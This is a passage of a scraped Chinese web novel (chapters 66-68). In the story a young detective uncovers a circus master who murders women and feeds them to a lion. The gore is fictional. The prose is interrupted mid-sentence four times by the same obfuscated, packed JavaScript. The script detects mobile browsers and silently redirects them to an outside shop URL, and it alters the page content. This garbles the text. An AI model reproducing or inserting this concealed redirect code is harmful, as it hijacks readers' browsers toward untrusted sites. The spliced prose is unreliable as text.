阿若嬷嬷斜着眼睛看她一眼,正想随意敷衍,却看到了随后走进来的大皇子,她神色瞬变,连忙换上笑容,“二位贵客说得可是霍府的女婢,来给她家二小姐买莲藕玉颜粉?” 二人点头应是。 “那二位贵客想知道什么?” “她常来店里买胭脂吗?”温孤嘉宥问。 “一个月也就一两次,都是替她家二小姐买。”阿若嬷嬷垂眸回答。温孤嘉宥继续问:“那她——可有什么异常?” “异常?”阿若嬷嬷思索一番,摇了摇头。 曲霜姿也确实想不到二皇子有什么理由残害无辜女子,便只好作罢,同大皇子回到了街上。街上不知何时人变得多了起来,熙熙攘攘堵得水泄不通,曲霜姿挤到路口,问身边男子道:“这是做什么?” 温孤嘉宥抢先回答:“应是皇家马戏团街头展演。” 曲霜姿想了起来,之前入京的马戏团是皇帝重金养的,难怪表演如此精妙绝伦。街头两排几个打扮得花枝招展,而又浓妆艳抹作搞怪状的男子举起手中唢呐开始演奏。高昂的乐声格外鼓舞人心,引得百姓齐声欢呼喝彩,街上氛围热闹似春节,比之前乞巧节都要兴盛。 温孤嘉宥在她耳边解释,“过段时日皇家别院会有宫宴,届时马戏团会表演更好看的马戏。” 曲霜姿满心都是案情,根本无心表演,只看马戏队伍一边跳跃一边向前,各种动物眼花缭乱地各显神通,晃得她眼睛都花了。 好不容易待她缓过神来,却看见排头的狮子有些奇怪,它低低地嘶吼着,声音却被乐声盖住,但曲霜姿清楚地看见它眼中的凶光和抽动的嘴角,她刚要出声提醒周围百姓,却已经来不及了,那凶兽狂吼暴起,扑向人群前面一个小男孩儿。 周围百姓吓得惊叫连连,曲霜姿离得太远根本来不及反应,她咬牙欲动,刀光剑影间,有个倩丽的身影已经先飞跃上前。 居然是林寻雁! 林寻雁的剑锋误打误撞划破了狮子的背部,划出一道细微的血痕,狮子瞬间暴怒,仰天咆哮,百姓都乱成一锅粥,闹成一片。 曲霜姿瞪大双眼,浑身上下冷汗直竖,“寻雁!”林寻雁没有听到,她和那小男孩儿一起被狮子扑了出去,摔倒在地,眼看着狮子口流涎水,凶相毕露,曲霜姿不顾大皇子的阻拦冲了上去。 正当她拔刀将刺之时,人群被一道嘹亮的哨声破开,一个知命之年的男人不徐不疾地出现在众人面前。 狮子听了他的口哨,奇迹般地回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044628|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓踱步离去,曲霜姿咽了口口水,忙把倒在地上的两人扶起来,“寻雁,你没事儿吧?” 小男孩儿被林寻雁护在怀里,毫发未损,而林寻雁却面色惨白,看到曲霜姿才勉强挤出笑容,“我没事。”话还没说完,她便偏头吐出一口淤血,染红了地面,小男孩儿吓得直哭,“漂亮姐姐,你受伤了!你吐血了!姐姐你不要死啊!” 她呛咳不止,顾不得安抚小男孩儿。 曲霜姿轻拍她的后背,伸手探向她脉搏,林寻雁紧蹙眉头,阖眸喘息,虚弱地靠在曲霜姿身上。 把了脉,曲霜姿这才放心,林寻雁受伤并不严重,那口淤血吐出后也就没什么大碍了,回去以后稍加休息疗养便好了。 “没事、没事,”曲霜姿松了一口气,“还能走吗?我扶你起来。” 林寻雁捂着胸口站了起来,费了好些力气才站稳,人声喧杂,曲霜姿不悦地挡住众人落在林寻雁身上的视线,“走,我送你回府。” 向来冷静自持的少女鲜少露出脆弱的神色,曲霜姿担心坏了,她一边搀着林寻雁走,一边不断询问:“长风、乐知、沈霁明呢?怎么不在你身边,任由你冲动行事!” “霜姿啊……”林寻雁不答,好一会儿才开口转移了话题,她语气还是轻飘飘的,“我的剑终于用来救人了。” 像她阿娘那样。 “不辜负剑的名字。”她低低地笑了,虽然声音很低,但曲霜姿听得出她是真心的。 “嗯,原本也不辜负的。”曲霜姿出声安慰,她知道这把剑的名字——“安厄”,据说是林寻雁阿娘起的名字,是个充满侠气的好名字,以至于勾连起了曲霜姿对林寻雁阿娘的好奇。 曲霜姿嘱咐道:“别说话了,咱们走。” 她头也不回地往人群外走,听到身后传来温孤嘉宥的斥声。 “放肆,今日你若是伤了百姓,就是犯下弥天大罪,你训不好这畜牲,来日再冲撞了陛下,便是十个脑袋也不够你掉的!” 大皇子一露面,齐刷刷地响起跪拜参见之声。 曲霜姿听了愤愤不平,不满反驳:“若不是大安皇帝不务正业,迷醉于玩乐之中,大兴马戏表演,组织皇家戏团,否则又怎会有今日意外。” 且他现下在百姓面前露面,今日恐怕是再无法低调地查案了,少女沉闷叹息。 一直到将林寻雁送至林府,那个小男孩儿还是没离开,拉着曲霜姿的衣角一个劲儿急切地问:“姐姐,恩人姐姐她会死吗?” “不会的,你放心吧,快回家去,以后注意安全。”曲霜姿无奈道。 “我不走,我要照顾恩人,答谢恩人救命之恩!”小男孩语气决绝,“我要以身相许,给恩人姐姐当牛做马!” 语不惊人死不休,屋里休息的林寻雁听见男孩儿是胡言又狠狠呛咳起来。 曲霜姿哭笑不得,“你小小年纪哪里学的,以后不要乱说话了。” 小男孩儿死缠烂打,“我家人嫌我碍眼,我也没处可去,怕是要早晚流落街头,曝尸荒野了。” 林寻雁在屋里听见,终究是心软了,“罢了,让他留下吧。” 小男孩儿丝毫没有刚刚受了惊吓的模样,跳起来高声欢呼。 温孤嘉宥此时亦赶了过来,小男孩儿见了他就躲在了曲霜姿身后,“大殿下,您怎么也来了?” “我来看看林小姐,”他目露忧虑,“可需我找太医来看看?” 曲霜姿拱手谢过,“林小姐并无大碍,但能请专业的太医来诊治再好不过。” 温孤嘉宥应和地点点头,下一刻他好像突然想起什么似的,直勾勾盯着曲霜姿的脸,“曲小姐,你的面疮已经好了?” 66. 临万顷海潮 “曲小姐,你这是……”大皇子眸中饱含忧虑,话语里自然流露出“面疮又复发了?还是找太医。 面纱下,曲霜姿的嘴角不自觉地抽动,她尬笑着回答:“只是轻微的,过段时日就好了,多谢大殿下关心。” “宴会要开始了,小姐快入席吧。”乐知轻声开口提醒,曲霜姿连忙应是,转身便松了一口气她,唯恐再等下去温孤嘉宥又要看自己的脸,看来下次再参加宫宴就要真画些疮口来以假乱真了。 她快步入场,眼尖地瞧见了前面的沈霁明,“沈霁明、沈霁明!” 男人回头,他今日束了高马尾,多了几分少年人的神采奕奕,深蓝色的发带飘扬在空中,看见曲霜姿的时候,他竟然下意识地浮起抹笑容。 曲霜姿呆愣一瞬,莫名地心跳加速,她提起裙摆小跑两步,跑到男人身边,她很快正色:“我昨日发现了线索!就是那个马戏团的团长,我昨天跟踪他,发现他十分可疑!” 沈霁明挑眉,“哦?” “前段时间狮子当街伤人你知道吧?”曲霜姿压低声音,“狮子经过训练,不可能突然之间兽性大发的。” “你的意思是——”沈霁明脸色骤变,“狮子吃人?”他眉宇处凝作一团,不可思议道:“这怎么可能,这是皇家马戏团,陛下专门赐了这座别院供他们居住、训练,怎么可能让狮子吃人肉?” 曲霜姿哼了一声,“不无可能啊。” “先别说了,入席,这次可不要再多管别人的事儿了,多少双眼睛盯着呢。” “哪怕是你?”少女脱口而出。 男人呼吸一滞,他微微低头垂眸,轻轻道:“哪怕是我。” 曲霜姿半晌说不出话,只好生着闷气离开了。 宴席开始,此次宴会主要就是请百官及其家眷欣赏皇家马戏团训练的成果,但亦有一层隐秘的目的,那便是“相亲宴”。 曲霜姿对这些都毫不在意,没精打采地坐在蒲团上,揪着桌上精致的帷布。 温孤昪清清嗓子,场上气压即刻低了下去,“朕有一珍宝遗失多年,如今找回,特宴请诸位庆贺。”他接过盛忠递来的物什,伸出双手爱怜地举了起来,以示众人,“这两把匕首名为‘临海潮’和‘倚天穹’,一金一银、一龙一凤,临海潮匿迹已有多年,如今回归皇室,乃是天下祥和之兆!” 众人起身道贺,“此乃天下之喜!” 曲霜姿看清那匕首的模样,看清的那一刻忽然浑身发冷,那是她的长绝。 黑银色刀鞘,上面镶嵌着玉珠,被光笼着散出碧色的闪耀光辉,依稀能辨认出上面的凤凰纹饰,错不了,那就是她的长绝。 她不可置信地慢慢将目光移到沈霁明身上,沈霁明却不看她,脸上面无表情,她依旧盯着男人看,目光不曾偏移半分,她那么相信他,每每想要要回匕首之时,都说服自己沈霁明更需要这匕首。 沈霁明曾说这匕首极像他家乡的刀具,原来都是骗她的假话。 余肃已经走到她身边,曲霜姿身体颤抖得不成样子,眼泪不知不觉地糊了满脸,幸亏有面纱遮挡才不至于叫众人察觉。 男人挡在她面前,曲霜姿仰头带着哭腔,“叔叔,我把长绝弄丢了。” “没关系,没关系,”男人揽她入怀,“叔叔有朝一日帮你拿回来,信错了人不要紧,有叔叔在。” “不要让旁人看到你的眼泪。”余肃在少女耳边叮嘱。 曲霜姿抽抽鼻子,努力深呼吸忍住泪水。 她望着长绝,下定决心,日后一定要将匕首拿回来。而只一想不要紧,要紧的是温故昪刚刚说的话,她这才反应过来,什么叫临海潮匿迹已有多年,如今回归皇室…… 一种可怕的猜想出现在她空白的大脑中。 她的母亲定和大安皇室有着密不可分的关系,还是说仅仅是巧合,她阿娘意外得到了皇家丢失的银匕首? 世界上哪有那么多巧合呢? 众人皆沉醉在表演当中,曲霜姿很快振作起来,偷偷离场,独自前往了后院,所有马戏团的动物都被关在那里,只有那日当街袭人的狮子因为存在危险所以还被关着。 曲霜姿见到它的时候,它躁动不安地在有些狭小的笼子里来回走动,不时发出近乎呜咽的低吼声,当它看到曲霜姿,当时就朝着她的方向扑了上来,坚实无比的铁笼都被她扑得岌岌可危。 曲霜姿下意识咽了口口水,小心翼翼的往它的方向靠去,试图安慰这只猛兽。 可是狮子越来越躁动不安,扑笼子的动静也越来越大,曲霜姿奇怪不已,她看向狮子面前早已空空如也的食盆,看到了它身上被鞭子抽打过的青紫痕迹。她的心跟着提起来,难以自持地生出怜惜,她又朝其他空笼子看去,食盆里犹有食物的残渣。 她内心咯噔一下,猜想这大家伙兴许是饿了,曲霜姿正要开口安抚,想要想办法找些吃吃喂它。 结果身后传来了脚步声,她慌忙躲了起来,躲在一个巨大的笼子后面。她偷偷往外看去,是马戏团中的人,他端着不知什么东西,血乎乎的一团,腥臭味隔着老远钻进曲霜姿的鼻子。 曲霜姿观察周遭,居然在不远处的地面下发现了可疑的东西——像是人类成年女性的大拇指甲,还带着血,出现在此处简直又奇怪又骇人。 她屏息凝神,看着那人把手中东西倒入狮子的食盆,狮子很快埋头扑了过去,吃得狼吞虎咽,像是许久没有吃过东西。 曲霜姿再定睛一看,被狮子头拱出来的物什,是一个球状物,咕噜咕噜地滚到曲霜姿脚边,竟然是一只眼睛,一只人的眼睛,似乎是瞪大了死死地盯着少女。 饶是她见过各种血腥可怖的场面,也是被这突然出现的眼球吓得出了冷汗,那眼睛在看她,带着无尽的哀怨、无尽的悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062444|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛看着她。 那人终于走了,曲霜姿的心却还是提在嗓子眼儿,她越发相信自己的猜测,如果有办法能证明这具尸体真的是人,真的是失踪了的女子,那就有了揭发他们恶行的证据。 曲霜姿拾起眼球,紧接着走出阴暗,蹑手蹑脚地将手伸进食盆,握住了另一只手,她低头查看,再抬眼,就和这猛兽凶戾的眼睛对上,她骨头都发麻了。 她飞快收回手,躲开狮子的撕咬,还好他们之间还隔着一道铁门。她正庆幸着,狮子猛然一撞,笼门大开,发出铮铮的巨大响声,咯吱咯吱地来回摆动。 曲霜姿敏捷躲过几次攻击,但还是不可避免地被狮爪划破了皮肤,她行动越来越慢,闻到血腥味的狮子狮子却越来越兴奋,蓄势待发就要跃到曲霜姿面前。 少女稍一迟缓,就来不及躲开了。 难不成真要命丧于此了,不行!她强鼓一口气抽出怀中匕首,几乎是在狮子冲她张开血盆大口的瞬间,她使劲浑身力气将匕首插入狮子口中。 涎水和血水一齐汩汩往下淌,那畜牲的尖牙只离曲霜姿咫尺之间,口中腥臭味熏得她完全睁不开眼睛,她整个身体都在颤抖,却还是卯足力气将匕首往更深处插去。 狮子疼痛难忍,拼命挣扎跳跃想要甩掉口中利器,曲霜姿终于松了一口气,她身子一软就要倒下,却听见身后传来人仓促的脚步声。 不好,定是刚刚的动静太大,引来了人。 曲霜姿咬牙观察四周,只见院子深处完全被遮蔽住,黑压压地叫人看不清楚,她决心冒险一试,跌跌撞撞地跑向那处。 最深处是几间蒙了尘的屋子,像是就没有人踏足,看着格外阴森,曲霜姿也顾不得了那么多了,她加快速度跑进屋子。屋里同样漆黑一片,安静得她都能听到自己如雷的心跳声。 跑步时不小心扭了脚,曲霜姿找了个角落蜷缩着,一边观察屋内陈设,她身边就是废弃已久柜子和桌子,曲霜姿暗暗猜测——这该是个废弃的书房。 屋外有人声不断靠近,曲霜姿缓缓站起,若是屋外只有一人,那她便冲出去与其搏斗,应该还能有几分胜算。 她打起十二分精神来,饶是手中全是汗也依旧握紧了匕首。 她警惕万分,另一只手撑在桌上,却不想碰到了上边布满蛛网的花瓶,花瓶稳稳地立着,只是随着咔嚓一声小幅度地变换了角度,曲霜姿不知所以地看过去。 还未等她看清花瓶,下一刻,她脚下有什么松动忽得一空,她整个人便失重跌落。 曲霜姿重重摔落在地,吐出一口鲜血,她闷哼几声,感受到自己的五脏六腑都连在一起作痛,疼痛沆瀣一气,凝成一团钻入她心中,像是有无数毒虫在啃食她的心脏,疼得她冷汗直流,甚至使她意识都模糊了一瞬。 她久久不能起身,泪眼朦胧中,曲霜姿强撑起脑袋,想要看清这里是什么地方…… 67. 必死之绝境 摔下来的第一刻,她的第一反应是疼,第二反应是冷,来自地底的阴湿渗入她骨血,以至于等她挣扎着爬起来的时候,四肢都有些麻木了。 曲霜姿估摸着自己的肋骨应该是断了,她咬牙忍痛,仰头看向自己掉下来的地方,不过方寸之地,约摸八尺高,十分隐蔽,不仔细寻找根本无法发现。 她暗叹一口气,轻移脚步挪向角落,她顺着檐壁一路摸着走,此处密不透风,更没有半点光芒可供人视物,但壁上还有可供架火把的架子,极有可能是专门用来储藏食物的地窖,后来被人改造成什么尚不可知。但这处皇家别院荒废已久,上头那屋子的陈设估计也是一变再变,久而久之也就无人知道这处所在。 但她也因此逃过一劫,想来外面的人找不到她就会放弃,到时候想办法出去就是。 这话说得容易,也有她自我安慰的成分在里边,因为至少此时此刻,她根本不知道该如何出去。 她缩在角落,四肢都被冻得僵硬,麻木感将她整个人笼罩住,久而久之,她居然不知何时失去了意识。 昏昏沉沉中,她都以为自己要死在这里了。 曲霜姿迷迷糊糊地想起阿娘,想起她提过的冰箱,还想到余肃叔叔,最后居然想起想起曾经周身裹着寒气的沈无逆,她出乎意料地期盼着男人出现,哪怕他总不近人情,对曲霜姿而言却也是温暖的。 她突然听见上方传来机关响动的声音。 睁开长睫,入目便是沈霁明。 “啊,”曲霜姿小声呢喃,“我这是出现幻觉了吗?怎么不让我看见我阿娘啊。” 罢了罢了,沈霁明也行,她无意识地向前伸出手,却被幻觉中的沈霁明给避开了。曲霜姿慢半拍地想了起来,念叨道:“奥……我忘了,你是个骗子,我们恩断义绝了。” 曲霜姿的面纱不知何时掉落,此时她无意识的小表情在沈霁明眼里一览无余,叫人觉得又委屈又倔强。 她话音未落,却被男人狠狠拥在怀里,疼痛和温暖同时出现,她竟莫名地依恋。不过须臾之间,曲霜姿的耳边忽得响起了声音,是沈霁明的声音。 男人声音颤抖,似乎也是被冷得打哆嗦。 “我终于找到你了,”他声音温柔又缱绻,依稀染上了哭腔。良久,沈霁明语气陡转,几乎是恶狠狠地咬牙切齿道:“谁和你恩断义绝了!” 曲霜姿大梦初醒,又像是突然从死水中被人捞了出来,她呛咳几声清醒过来,“沈霁明?” 沈霁明没再应声,报复性地将她抱地更紧,曲霜姿呼吸一滞,痛呼道:“好疼!” “何处伤着了?”男人一听,登时慌乱地松了手,焦急地摸进袖子取了火折子,火光随着他一口气骤然亮起,晃得曲霜姿眼睛都睁不开。 “脚扭了、被抓伤了、肋骨断了。”她一字一句道,话语里有些自暴自弃的意味。 沈霁明听着心一下揪得比一下紧,他自责地垂头,“是我来迟了。”曲霜姿哼哼几声,阴阳怪气道:“叫你来你不来,现在又来了做什么,来看我有多惨么?” “你把我的长绝给了皇帝,这事儿你还没有给我解释呢,骗子!”她有气无力地责怪,后知后觉地发现自己气势上短了半截儿,于是悻悻闭嘴,偏过头不再看沈霁明。 “对不起,”沈霁明没有半点犹豫,径直道歉,语气分外真诚,“等我们出去,你让我怎么赔礼道歉都行。” 曲霜姿火熄了几分,又或许是看到沈霁明的那一刻怒气就已经消散了大半,她欲出言讥讽,却被沈霁明的话给打断。 “只一点,”男人开口:“不许与我恩断义绝。” “你说不许就不许吗?” “我同你说实话,”沈霁明无比挚诚地看着她,声音坚定而温柔,“我一直记得你,不是因为恨,至少不全是因为恨,我记得我答应过你,要带你去邵辰皇宫,这是我坚持到现在的信念之一。” 曲霜姿蓦然怔住,一时失言,不知该说些什么。 “用你的长绝献给陛下,实属我的无奈之举,未来我定想办法还于你。” “我知道你有难处,”曲霜姿恹恹开口,“但就像你说的,我们是伙伴,在做什么之前都要互相告知,互相帮助。” “不许擅作主张、擅自行动。” “你总说我们立场不同,你总说我们做不了朋友,可我也告诉过你,我并不算是大安人,也不是温孤王室的什么忠心臣子,甚至我阿娘的死,也和他们有关。” 沈霁明瞪大眼睛,“什么?” “我报了仇,也许能和余肃叔叔一起云游四方,离开大安,去邵辰也可以。”她说出她心中最最美好的想象,尽管连她自己都不甚信任,因为不知从何时开始,她不再仅仅只是想为阿娘报仇,更想拯救生活在水深火热当中的百姓,更想改变这个世界。 曲霜姿觉得自己一定是糊涂了,但还是任由自己荒唐地糊涂下去,“我的意思说,你要信我,不要总是把我拒于千里之外。”她语气越来越虚弱,长睫随着她的话吐出缓缓颤动。 沈霁明连连点头,“你先别说话,我带你出去。” 怎么出去……曲霜姿心中升起疑惑和希望。 沈霁明举着火折子绕着周围转了一圈,这不转不要紧,一转吓一跳,地上居然有大滩凝固了的血迹,还有一些零星的肉块。 二人都不约而同地猜到那是什么,曲霜姿颤颤巍巍地起身,在沈霁明紧张的注视下,一路行至肉块处。她捂着腹部咬着牙捏起一块来,仔细端详,又轻轻嗅过,曲霜姿眉头紧锁,“是人肉,应该是女子的尸首。” “我知道了、我知道了,你这样多不方便,我背你好吗?”沈霁明蹲下,回头用渴求的眼光看向曲霜姿,“你身体虚弱,不要再乱动了,你想做什么通通都让我来。” “你也相信我,好不好?”男人的话在空洞的地底回荡,荡进了曲霜姿心里最柔软的地方。其实从小到大,对她这么温柔的人很少,阿娘逼她坚强,除了余肃叔叔,也就只有沈霁明待她这样温柔。 曲霜姿叹了口气,她的身体情况确实容不得她继续逞强,“好。” 爬上男人的背,曲霜姿才不由感慨沈霁明身材的高大,虽说她自己在女子之中也算是身段修长,但终究还是和沈霁明无法比较。不得不说,这站得高视野也是真的好,只可惜现在所处之地太过压抑。 “你能碰到咱们掉下来的那块地方吗?”曲霜姿眨巴眨巴眼睛,好奇且期待地问。 “那你抓紧,”沈霁明抬起手臂,轻而易举地够到了,男人猛得一推,那里仍旧纹丝不动,“是不是还有什么机关?” “那把这檐壁摸一遍就是了,其实我已经摸过一遍,但也许不够仔细,所以并无收获,”曲霜姿顿了顿,“这里应该就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080809|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是杀人分尸的地方了,我原以为这里早已废弃还算安全,但是……” 她不忍继续说下去,沈霁明就替她说道:“我们现在其实很危险,相当于是自投罗网了。” 曲霜姿不悦,闷声应了句。 再摸过一次檐壁,依旧毫无收获,二人心里都是一空,最后的希望也消弭殆尽了。 “放我下来吧。”曲霜姿轻声道。 二人重新坐回了角落,相对无言。 眼下的局势算是明了,首先没人知道她二人私自离场,就算余肃叔叔找她也找不到这里,且他们尚且不知道这地方现在的主人是谁?如果他们人多势众,那么本就在罗网当中的二人必将寡不敌众,又或是敌人再聪明些,就此把他们关到里边,没有食物没有水,可供呼吸的氧气也不多,他们早晚会死在这里。 “也许我们回不去了,”沈霁明苦笑一声,转头看向曲霜姿,少女也在茫然地看着他,眼眶红通通的,“但是我不后悔。” “我其实回不了家了,我的家已经抛弃我了,我唯一的动力就是回去质问他们,问他们为什么要抛下我,唯一的动力就是带你去看看邵辰,”沈霁明攥紧拳头,泄气道:“可是这样又有什么意义。” 曲霜姿对着他摇摇头,“不是的,我们会出去的,”她心里没有底气,但还是这样信誓旦旦地昂起头,“我阿娘说,哪怕她有一天离开我,也一定会保佑我平安幸福。” “她还说,我是这世上最大的奇迹。” 奇迹吗?沈霁明愣了愣,曲霜姿对于他而言,确确实实算得上是奇迹,他以为再不会见到的人出现在了他面前,像光一样点亮了他的生活。 怎么不是奇迹呢?他小声应了一声。 少女的注意力突然放到了火折子上,这火折子上的火苗居然有着轻微的偏斜。 “一定有别的出口!”她斩钉截铁道。 沈霁明立刻站起,拿着火折子在周围晃了圈儿,发现只有在一块儿地方,火苗才歪斜得最明显。 他用力拍了拍那面墙,见墙体有松动的痕迹,登时大喜,他抽出剑就欲伸入墙缝之中,曲霜姿忙提醒小心,话音还未落,一支箭破墙而出,将沈霁明的一缕发丝划落。 他倒吸一口凉气,“这到底是什么机关?” 但墙上缝隙已经大了些,还隐隐有光线透过来,沈霁明不想就此放弃,咬牙继续。 墙体发出轰动之声,居然生生被沈霁明破开了个能通人的缝隙,曲霜姿连忙站起,谁料刚靠近那缝隙就又有一只箭矢飞了出来。 缝隙隐隐又有要收回的意思,沈霁明扔掉手中火折子,双手握住剑柄,全力抵抗。 曲霜姿凭着那头传来的光线,看到男人额上细密的汗珠,看到他因为拼命用力暴起的青筋、发红发紫的脸颊。她深深看了眼沈霁明,下定决心趁着她还能从缝隙中过去,果决地侧身而过。 沈霁明连忙喝止:“不要!” 缝隙越来越小,根本容不得沈霁明一个大男人通过,曲霜姿刚刚通过,就有一支箭矢铮鸣而来,沈霁明顾不得躲闪,肩头中箭,可他仍然不愿松手。 谁知那里面又是什么新的龙潭虎穴?曲霜姿只身进入,单单是要破开墙壁就如此险恶,叫他怎么放心! 最后一丝光线被黑暗吞噬,墙体彻底合掩,沈霁明咬牙,拳头狠狠砸上墙壁,他怒声骂道:“该死!” 68. 密室大逃脱 映入眼帘的,是一张巨大的桌子,足够一个成年男性躺在上面,桌上扑着简洁雅致的桌布,一尘不染,甚至干净得在烛火照耀下闪着光。闪着光的不只有桌子,墙壁各处挂着的各式刀具,才是真正的泛着寒光。 曲霜姿莫名觉得头皮发麻,仿佛有人盯着她似的,她缓缓转身,被眼前场面骇得连连后退,下意识撑住桌面。 那是人头,女子的头颅像是收藏品一般被摆放整齐,根据腐烂程度不一,曲霜姿暗暗推断着她们的死亡时间。毫无例外,这些头颅都被保存得很好,腐烂速度都更为缓慢。 曲霜姿在这些头颅中看到了姬婻,也看到了前不久失踪的那个侍女,尽管长风第一时间画了画像,大理寺也倾尽全力寻找,还是没有将人找回来了。 曲霜姿慢慢走向这些女子,她内心痛苦不堪,不知不觉中泪水已流了满面。 她抚摸她们的长发,抚摸她们的脸颊,她说,“我来接你们回家。” 她想象到无数的女子躺在冰冷的桌面上,她们遭受到非人的虐待后又被残忍分尸,她们的内心是多么恐惧而无助。 最后弥留之际,她们也会痛恨这个世界吗? 这样一个惨无人道、毫无公正平等可言的世界。 “霜姿、曲霜姿!” 曲霜姿猛得回神,想起沈霁明还在外面,她忙回应:“我没事!你等等,这里面一定有别的机关能开启密门!” 她一阵摸索翻找,最终在桌下寻到一个凸起,她试探性地按下,背后墙体轰然颤动。沈霁明第一时间跑了进来,看到曲霜姿和进去时别无二致这才松了口气。 然而下一刻,他看清这屋内陈设,瞬间倒吸一口凉气。 “惨绝人寰,此案背后主谋定是毫无人性、猪狗不如,”曲霜姿冷声开口,很快语气变得低落柔软,“要是我今日不来,可能她们就永远不会有重见天日之时,真相就再无机会昭告天下。” “是我的错,我该信你,”沈霁明缓缓靠近,摸着她的头发,一下一下地摩挲。不到一个时辰,他两次感受到了失而复得的喜悦,“你是我们所有人的奇迹。” 曲霜姿听得身子一软,心都暖了起来,她不自在地移开目光,很快发现男人肩头的伤口“你受伤了?” “不打紧,我们下一步怎么做?再待下去恐怕是要被人瓮中捉鳖了。”沈霁明暗叹一口气。 “不知这出口到底在何处……” 曲霜姿叹息,“也许会有人来找我们。”这种可能性不大,但是敌人先找上来的可能性更大,他们还是得靠自己。 二人分头各自寻找机关,可此人的机关术虽算不上多么高超,隐藏的却是极好的。 不知找了多久,二人都疲累不堪,靠在桌前休息起来,随着时间推移,他们内心的焦灼愈加强烈。 曲霜姿耳朵灵敏,突然屏住了呼吸,作嘘声。她隐隐听见外面传来了脚步声,她冲沈霁明使了个眼神。沈霁明立即意会,他四下打量寻找可藏身之处,很快锁定了桌下,好歹还能遮蔽一二。 而曲霜姿并没有藏起来的打算,如果是这间密室的主人回来,恐怕是已经确定有人进来来抓人的。统共这么大点密室,也实在藏不下两个人。 再者,留曲霜姿一人在外还能让他人降低防备,以便沈霁明伺机而动。 他们猜得没错,人头相对的那一面墙缓缓打开,来人正是那马戏团首领。男人鬓边已然有了白发,面上皱纹却不多,身姿依旧挺拔,看着很是精神,他皱着眉头,看到曲霜姿的那一刻眼神变得凶恶阴冷。 “就是你闯入我的藏宝阁、还把这里弄脏了?”男人不比曲霜姿高多少,但却睥睨着她,面上嫌恶之色毫不掩饰,“真是让我为难,我不喜欢你这样的宝物,我的狮子恐怕也不会喜欢。” 曲霜姿咬牙冷声质问:“你可知我是谁?” “不就是个丞相的义女,我又有何惧?再言之,无人知道你去了哪里吧,小姑娘家家的还是不要乱跑哦。” “你说错了,我是大理寺的,专抓你这样的坏人。”她一边说着,一边拔出匕首欺身而上。 男人闪躲几下,再次开口:“那又如何呢?对了,你身边那个小侍女,我倒是很喜欢呢。”他古怪笑了几声,声音缓慢悠长,像是深林里某种鸟类尖利聒噪的鸣声。 曲霜姿脸色大变,“你说什么!?” 她瞬间想到,乐知除了年岁小了些,其余的都很符合男人的标准。曲霜姿按捺住身体上一切的不适,将速度提到极致,刀刃在空中闪了闪,就抵在了男人的脖颈处。她压低声音恶狠狠道:“乐知去哪儿了?” “不知道。”男人一个字一个字地往外蹦,声音犹带笑意,带着挑衅的意思,没有半分退却,甚至是逼得更近。 曲霜姿挟持着男人,缓缓移动,男人一直古怪地笑着,惹得曲霜姿十分不快。但她知道什么对男人更重要,不知不觉中他们移到了那排人头的对面。 男人邪笑着开口:“怎么?你也很喜欢我的收藏品?” “你根本不知道我打造这间密室花费了多少心血。我每天都要打扫这里,将这里打扫得纤尘不染,包括这些漂亮的姑娘,我把她们收拾的多漂亮啊,比她们之前可漂亮多了。” 他正忘我地讲着,曲霜姿却突然收起了匕首,飞快地抓住摆台上的布帘,“你若是不告诉我乐知在哪,我便毁了这里。” 她语气果决,眼神坚毅,马戏团首领登时就慌了,“不要,等等!”他试图上手阻拦,却被曲霜姿的眼神吓退,少女的眼睛里仿佛有一团怒火,似乎下一刻就要将这里焚烧殆尽。 “她在……”男人话未说完,话锋突转,“你毁了便毁了吧,我还能收藏新的、更好的,比如你的那位小侍女。” 曲霜姿怒火中烧,男人眼见激怒了曲霜姿,便更放肆,“没关系,你也可以去陪她。” 此言刚出,他就感觉身后多了一个人,男人止住呼吸,心跳加速,他来不及躲闪,就已经被沈霁明生擒住了。 “谁!?” “大理寺寺正——沈霁明。”沈霁明厉声答道,眼神中闪过一丝阴鸷,恨不得现在就把此人就地正法。 “邵辰的质子啊,我们也算是同一阵营,你父母都要敬我为长辈,何况是你个毛头小儿。” 沈霁明恍惚一瞬,手中剑都有些不稳,他攥紧眉头,“你在胡言乱语些什么?” “不要与他废话,咱们这就出去,押他到陛下面前认罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 